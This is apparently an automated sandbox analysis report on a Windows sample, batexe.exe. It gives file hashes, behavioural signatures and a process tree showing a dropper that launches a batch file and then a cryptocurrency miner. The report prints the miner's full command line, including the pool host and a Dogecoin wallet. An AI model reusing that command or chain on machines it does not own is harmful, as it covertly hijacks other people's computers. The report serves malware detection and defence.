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Analysis
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max time kernel
294s -
max time network
304s -
platform
windows10-1703_x64 -
resource
win10-20240214-ja -
resource tags
arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows -
submitted
18/02/2024, 06:02
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231222-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
pid Process 224 b2e.exe 3128 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 3128 cpuminer-sse2.exe 3128 cpuminer-sse2.exe 3128 cpuminer-sse2.exe 3128 cpuminer-sse2.exe 3128 cpuminer-sse2.exe -
resource yara_rule behavioral1/memory/1284-5-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1284 wrote to memory of 224 1284 batexe.exe 73 PID 1284 wrote to memory of 224 1284 batexe.exe 73 PID 1284 wrote to memory of 224 1284 batexe.exe 73 PID 224 wrote to memory of 420 224 b2e.exe 74 PID 224 wrote to memory of 420 224 b2e.exe 74 PID 224 wrote to memory of 420 224 b2e.exe 74 PID 420 wrote to memory of 3128 420 cmd.exe 77 PID 420 wrote to memory of 3128 420 cmd.exe 77
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1284 -
C:\Users\Admin\AppData\Local\Temp\C757.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\C757.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\C757.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:224 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CCC6.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:420 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3128
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1024KB
MD555d3fcf113506e85b6cf485f08b11290
SHA1539d601fdd7e37fe22412d8c73023e21293ac62c
SHA256519083ea4de496637895b9c3dd7fa5d9fc1140325272570f09aa0d2bad46f2d3
SHA51262c0dc6a36ef819eede73c8b041fbdf579ec0ae399654a73a4628555bb84c4e1fdcf314deb659f41986204e2d92acd886dd8735a24a150a309d4035b58a33ee4
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Filesize
960KB
MD5d15ecf39e70d4d6e278b0da9ff36ba87
SHA12139694bf96cc3b6fbfadb8a9c8745b8901bff6a
SHA25604b2e6191d36dccb7b93c7d207ff16c0702cdec9b64b98206f9ffc7dc7633d54
SHA512326cdd9b35aa3dbd39d2fd4a22dd78f732d481f05ef6dca085cd086d8ca91502f3be961b44e5c4bbf2ebf947ffc4f1b4d4703593951fce22acaa418a77741434
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
13.8MB
MD5d4484ce546d74f5ea7de24387ebea961
SHA1f280fcb9893f697b2be3671d794bb41287a3449a
SHA256dccdeddad19dc97b001fe8f461931d409872f91d15b23bab43c34a0260f0e242
SHA512c6d6e9e44816951f946510a84fe54cde766993129333ba00e88c2b8b5b102caa14110dc3e2f49ca007d0c574728f5f2efb872f58c47a8c27b7a984ae267a6480
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
10.2MB
MD572ced45429fc6fce1559f9ac7984d4f4
SHA1ba1bb82c08c629b1c6f4ed602b6be8c30e22f035
SHA2566e249fa26af95518db9bbb045e4e7cc81c35f5d9ac81e5069b8072ff68b43932
SHA512b41b835c1a2b37158ad85b91e9e6e421898b2f6a9df074b91d086efcc03d3c5ab0dde4a6d52fe01602ba15de62f7ff07bbc6f4a2a463cf2a272b8381ca898776
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Filesize
6.8MB
MD566fcf40e86654f41cad36f479a6844e3
SHA167c105d7cc6234acb7827a146004574bc172f796
SHA25688fce32ee91efaa9368b398581dc3a7138a878c6a105a1377c2ebf70d2cbe9dd
SHA512ab3d52c322c1ab2eb041b28b8ad55f0a7884bee7c2312510754ce164beacd6a979e1842498abe4afabb50ea8369df9f7023f08ffd86bbdd1bb9eb963293e193a
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770